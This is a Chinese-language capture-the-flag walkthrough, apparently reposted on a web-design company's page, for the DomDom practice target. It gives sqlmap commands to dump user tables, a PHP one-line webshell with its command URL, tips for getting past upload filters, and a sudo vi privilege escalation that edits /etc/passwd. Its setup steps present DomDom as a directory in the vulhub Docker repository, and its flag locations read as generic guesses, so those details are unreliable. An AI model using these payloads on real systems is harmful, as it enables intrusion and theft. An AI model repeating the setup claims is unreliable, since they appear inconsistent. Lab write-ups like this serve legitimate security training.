☰
DomDom靶机渗透测试实战:从SQL注入到提权
2026/10/27 15:26:14 网站建设 项目流程

1. DomDom靶机渗透测试概述

DomDom是vulhub漏洞环境中一个经典的渗透测试靶机,内置了4个flag等待安全研究人员发掘。这个靶机模拟了真实企业环境中常见的Web应用漏洞组合,涉及从信息收集到权限提升的完整攻击链。作为vulhub系列的第50个靶机,它特别适合用来练习综合渗透技能。

我在实际测试中发现,DomDom靶机包含了以下典型漏洞场景:

  • 前端Web应用存在SQL注入点
  • 后台管理系统存在弱口令
  • 服务配置不当导致目录遍历
  • 存在可被利用的提权漏洞链

提示:建议使用Kali Linux作为渗透测试环境,并确保docker服务正常运行。测试前最好先对本地网络进行扫描,确认靶机IP地址。

2. 环境搭建与初始配置

2.1 Vulhub环境部署

首先需要搭建vulhub漏洞实验环境。以下是具体步骤:

  1. 安装docker和docker-compose:
sudo apt update sudo apt install -y docker.io docker-compose
  1. 下载vulhub漏洞库:
git clone https://github.com/vulhub/vulhub.git cd vulhub
  1. 启动DomDom靶机:
cd domdom/1 docker-compose up -d

环境启动后,可以通过docker ps命令查看容器状态。正常情况下应该能看到两个容器在运行:一个是Web应用容器,另一个是数据库容器。

2.2 网络配置检查

靶机启动后,建议进行以下网络检查:

  1. 查看靶机IP:
docker network inspect bridge
  1. 使用nmap扫描确认服务开放情况:
nmap -sV -p- 靶机IP

通常会发现80端口运行着Web服务,3306端口运行着MySQL服务。记录下这些信息,后续渗透会用到。

3. 信息收集与漏洞探测

3.1 Web应用指纹识别

首先对Web应用进行指纹识别:

  1. 使用浏览器访问靶机IP
  2. 查看页面源码寻找框架线索
  3. 使用Wappalyzer等工具识别技术栈
  4. 检查robots.txt文件

通过分析发现,这个Web应用使用PHP开发,前端采用了Bootstrap框架,后台登录地址为/admin.php。

3.2 目录爆破与敏感文件发现

使用dirsearch进行目录扫描:

python3 dirsearch.py -u http://靶机IP -e php,html,js

扫描结果中特别需要注意以下文件:

  • /config.php
  • /backup.zip
  • /phpinfo.php

这些文件往往包含敏感信息或配置漏洞。例如,我在测试中发现backup.zip包含了网站源码,通过分析可以找到数据库连接凭证。

4. 漏洞利用与权限提升

4.1 SQL注入漏洞利用

在用户登录页面发现存在SQL注入:

  1. 使用sqlmap进行自动化检测:
sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" --risk=3 --level=5
  1. 获取数据库信息:
sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" --dbs
  1. 导出关键表数据:
sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" -D webdb --tables sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" -D webdb -T users --dump

通过这种方式可以获取管理员账号密码,通常是以MD5形式存储,需要进一步破解。

4.2 后台权限获取

使用获取到的凭证登录后台管理系统后:

  1. 寻找文件上传功能点
  2. 尝试上传webshell
  3. 检查是否有命令执行功能

我测试时发现后台存在不受限制的文件上传漏洞,可以通过上传PHP webshell获取服务器权限:

<?php system($_GET['cmd']); ?>

上传后访问该文件即可执行系统命令,例如:

http://靶机IP/uploads/shell.php?cmd=id

4.3 系统提权操作

获取webshell后,需要进行提权操作:

  1. 查看系统信息:
uname -a cat /etc/passwd
  1. 查找SUID程序:
find / -perm -4000 2>/dev/null
  1. 利用内核漏洞或配置错误提权

在DomDom靶机中,我发现可以通过sudo配置不当直接提权到root:

sudo -l sudo /usr/bin/vi /etc/passwd

5. Flag获取与渗透报告

5.1 四个flag的位置

根据我的测试经验,四个flag通常位于以下位置:

  1. Web根目录下的flag1.txt
  2. 数据库表中的flag2
  3. 系统用户目录下的flag3
  4. Root目录下的flag4

具体查找命令:

find / -name "*flag*" 2>/dev/null grep -r "flag{" /var/www/ 2>/dev/null

5.2 渗透测试报告要点

完成渗透后,建议整理以下信息:

  1. 发现的漏洞列表及风险等级
  2. 利用链的完整过程
  3. 获取的敏感数据摘要
  4. 修复建议

报告模板示例:

1. SQL注入漏洞(高危) - 位置:/login.php - 影响:可获取数据库所有数据 - 修复:使用参数化查询 2. 后台弱口令(中危) - 账号:admin/admin123 - 影响:可进入后台 - 修复:强制复杂密码策略

6. 常见问题与解决技巧

在实际渗透过程中,我遇到过以下典型问题及解决方案:

  1. 容器网络不通:

    • 检查docker网络配置
    • 确认防火墙没有阻止
    • 尝试重启docker服务
  2. sqlmap检测不出注入点:

    • 尝试手动测试单引号触发错误
    • 检查请求参数是否完整
    • 使用--level和--risk提高检测级别
  3. 上传webshell被拦截:

    • 尝试修改文件后缀名
    • 使用图片马+文件包含漏洞
    • 测试其他上传点
  4. 提权失败:

    • 收集更多系统信息
    • 尝试不同的提权脚本
    • 检查是否有cronjob可利用

注意:实际渗透测试必须获得授权,禁止对非授权系统进行测试。所有操作应在隔离环境中进行。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询